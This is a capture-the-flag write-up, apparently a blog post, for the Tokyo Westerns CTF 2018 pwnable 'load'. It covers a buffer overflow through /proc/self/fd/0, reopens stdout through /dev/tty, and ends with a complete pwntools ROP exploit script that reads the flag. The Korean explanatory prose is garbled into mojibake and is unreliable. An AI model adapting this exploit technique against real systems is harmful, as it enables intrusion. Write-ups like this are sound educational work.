Tokyo Westerns CTF 2018 - load
Tokyo Westerns CTF 2018 pwnable challenge ์ด ๋ BOF ์ทจ์ฝ์ ์ด ์์ผ๋ libc leak์ ํ๋ ค๊ณ ํ๋๋ฐ PLT๊ฐ ์๋ ๊ทธ๋์ ๋๋ฒ๊น
์ ํด๋ณด๋ ๋ฌธ์ ๋ ์ payload๋ฅผ ROP chain์ 3๋ฒ ๋ฃ์ด์ ์ด๋ ๊ฒ leak์ ํ๋๋ฐ์๋ ์ฑ๊ณตํ์ผ๋ ๊ทธ๋ฌ๋ฉด ์ด๋ป๊ฒ ์ถ๋ ฅ์ ํ ์ง ํ์ฐธ์ ๊ณ ๋ฏผํ๋ค๊ฐโฆ ๋ง์นจ ๋์ผํ ๋ก์ง์ ์ํํ๋ ํจ์๊ฐ ์ฝ๋ ์์ญ์ ์์๋ค! ์ด๋ฐ์์ผ๋ก ๋ ์ง์คํฐ๋ฅผ ์ปจํธ๋กคํด์ฃผ๋ฉด 0x00. Introduction
[*] '/home/user/load'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled 0x01. Vulnerability
int __fastcall load_file_4008FD(void *buf, const char *file_name, __off_t offset, size_t size)
{
int fd; // [rsp+2Ch] [rbp-4h]
fd = open(file_name, 0);
if ( fd == -1 )
return puts("You can't read this file...");
lseek(fd, offset, 0);
if ( read(fd, buf, size) > 0 )
puts("Load file complete!");
return close(fd);
}load_file_4008FD()๋ฅผ ๋ณด๋ฉด ์
๋ ฅ๋ฐ์ ํ์ผ๋ช
์ openํด์ ๋ด์ฉ์ size๋งํผ ์ฝ์ ํ main()์ buf ๋ณ์์ ์จ์ค๋ค.file_name์ /proc/self/fd/0์ผ๋ก ์กฐ์ํด์ค๋ค๋ฉด, ํ์ผ์ ๋ด์ฉ์ ์ฝ๋ ๊ฒ์ด ์๋ stdin์ ์ฝ์ด์ buf์ ์ฐ๋ ๊ผด์ด ๋๋ค. char buf[32]; // [rsp+0h] [rbp-30h] BYREF
size_t size; // [rsp+20h] [rbp-10h]
__off_t offset; // [rsp+28h] [rbp-8h]main()์ buf๋ rbp-0x30์ ์์นํด์๊ณ ์ํ๋ ๋งํผ size๋ฅผ ์
๋ ฅํ ์ ์์ผ๋ BOF ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค. 0x02. Exploit
puts()๋ _printf_chk()๋ ์ด์ํ๊ฒ ์ถ๋ ฅ์ด ์๋๋ค.puts()์ ๋ฆฌํด ๊ฐ์ด -1์ธ ๊ฒ์ ํ์ธํ๊ณ , ๋ญ๊ฐ ์๋ฌ๊ฐ ๋ฐ์ํ์์ ์์๋ค. ์ธ์ ์ด๋ฐ ์๋ฌ๊ฐ ๋ฐ์ํ๋์ง ์ฐพ์๋ณด๋ค๊ฐ stdout์ ๋ฌธ์ ๊ฐ ์๊ธฐ๋ฉด ๊ทธ๋ด ์ ์๋ค๋ ์ ๋ณด๋ฅผ ์ฐพ์์ ํ์ธํด๋ณด๋โฆint close_4008D8()
{
close(0);
close(1);
return close(2);
}load_file_4008FD()์ด ๋๋ ํ main()์ด ์ข
๋ฃ๋๊ธฐ ์ ์ close_4008D8()๋ผ๋ ํจ์๊ฐ ํธ์ถ๋๋๋ฐ, ์ฌ๊ธฐ์์ stdout์ closeํด๋ฒ๋ฆฐ๋ค. ๊ทธ๋์ ๊ตฌ๊ธ๋ง์ ์ด์ฌํ ํด๋ณด๋ /dev/tty๋ฅผ openํ๋ฉด ๋ค์ stdout์ ์ด๋ฆด ์ ์๋ค๋ ๊ฒ์ ์์๋ค./dev/tty๋ฅผ ์ด๋์ ๋ฃ์ด๋๊ณ open()์ ์ ๋ฌํ ๊ฒ์ด๋์ธ๋ฐ, BOF ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด file_name์ /proc/self/fd/0์ ๋ฃ๋ ๊ณผ์ ์์ \x00์ ํ๋ ์ถ๊ฐํ๊ณ /dev/tty๋ฅผ ์ ๋ฌํ๋ฉด ๋ ๊ฒ ๊ฐ์๋ค. # open("/dev/tty", O_RDWR | O_CREAT)
payload_open = p64(ppr)
payload_open += p64(66) # pop rsi
payload_open += p64(0) # pop r15
payload_open += p64(pr)
payload_open += p64(bp['file_name'] + 0x10) # pop rdi
payload_open += p64(elf.plt['open'])/proc/self/fd/์ ์์๋๋ก 0, 1, 2๊ฐ ์์ฑ๋๋ ๊ฒ์ ํ์ธํ๋ค.stdin์ ์ด๋ ธ์์๋ ๋ค์ playoad๋ฅผ ์ ์กํ๋ ๊ฒ์ ์คํจํ๋ค. ๊ทธ๋์ ๊ณ ๋ฏผ์ด ๋๋๊ฒ leak์ ํด๋ดค์ ๋ค์ ์
๋ ฅ์ ์ค ์๊ฐ ์์ผ๋ฏ๋ก ํ๋ฒ์ ์
๋ ฅ์ ์ค์ flag๋ฅผ open -> read -> write๋ฅผ ๋ค ์์ผ์ผํ๋๋ฐ rdx ๊ด๋ จ ๊ฐ์ ฏ์ด ์๋ค.read์ ์ธ ๋ฒ์งธ ์ธ์์ธ size ์ปจํธ๋กค์ด ๋ถ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ open("flag", 'r');์ ํ ์ดํ์ rdx ๊ฐ์ด ๋ด์ฉ์ ์ฝ์ด์ค๊ธฐ์ ์ถฉ๋ถํ ํฐ ๊ฐ์ด๊ธฐ๋ฅผ ๊ธฐ๋ํด์ผํ๋๋ฐโฆ ์ค์ ๋ก ํ์ธํด๋ณด๋ open์ด ์ข
๋ฃ๋๊ณ ๋ rdx ๊ฐ์ด 0์ด์๋ค. load_file_4008FD(buf, byte_601040, offset, size);rdi : pop rdi; ret; ๊ฐ์ ฏ ํ์ฉ, free space์ธ byte_601040rsi : pop rsi; pop r15; ret; ๊ฐ์ ฏ ํ์ฉ, BOF ํธ๋ฆฌ๊ฑฐ ํ ๋ ๋ฃ์ flag ์์นrdx : open ์ข
๋ฃ ํ 0rcx : open ์ข
๋ฃ ํ 0x7ffff7e9e53b (์ถฉ๋ถํ ํฐ ๊ฐ)flag๋ฅผ ์ถ๋ ฅํ ์ ์์๋ค. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys
DEBUG = True
BINARY = "load"
LIBRARY = "libc.so.6"
pr = 0x0000000000400a73
ppr = 0x0000000000400a71
bp = {
'read_of_load_file' : 0x400966,
'main' : 0x400817,
'end_of_main' : 0x4008A8,
'close' : 0x4008D8,
'read_str' : 0x400986,
'file_name' : 0x601040,
'load_file' : 0x4008FD,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def send_msg(s, msg):
print(s.recvuntil(b": "))
s.sendline(msg.encode())
def main():
if(len(sys.argv) > 1):
s = process(BINARY)
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
send_msg(s, "/proc/self/fd/0\x00/dev/tty\x00flag\x00")
send_msg(s, "0")
send_msg(s, "1024")
payload = b"A" * 0x30
payload += b"B" * 8
# open("/dev/tty", O_RDWR | O_CREAT)
payload_open = p64(ppr)
payload_open += p64(66) # pop rsi
payload_open += p64(0) # pop r15
payload_open += p64(pr)
payload_open += p64(bp['file_name'] + 0x10) # pop rdi
payload_open += p64(elf.plt['open'])
# open 3 times -> open 0, 1, 2
payload += payload_open * 3
# load_file_4008FD(byte_601040, "flag", offset, size)
payload += p64(ppr)
payload += p64(bp['file_name'] + 0x19) # pop rsi
payload += p64(0) # pop r15
payload += p64(pr)
payload += p64(bp['file_name']) # pop rdi
payload += p64(bp['load_file'])
# puts(byte_601040)
payload += p64(pr)
payload += p64(bp['file_name']) # pop rdi
payload += p64(elf.plt['puts'])
log.info(f"payload length : {hex(len(payload))}")
s.sendline(payload)
pause()
print(s.recv().split(b"\n")[2])
if __name__=='__main__':
main()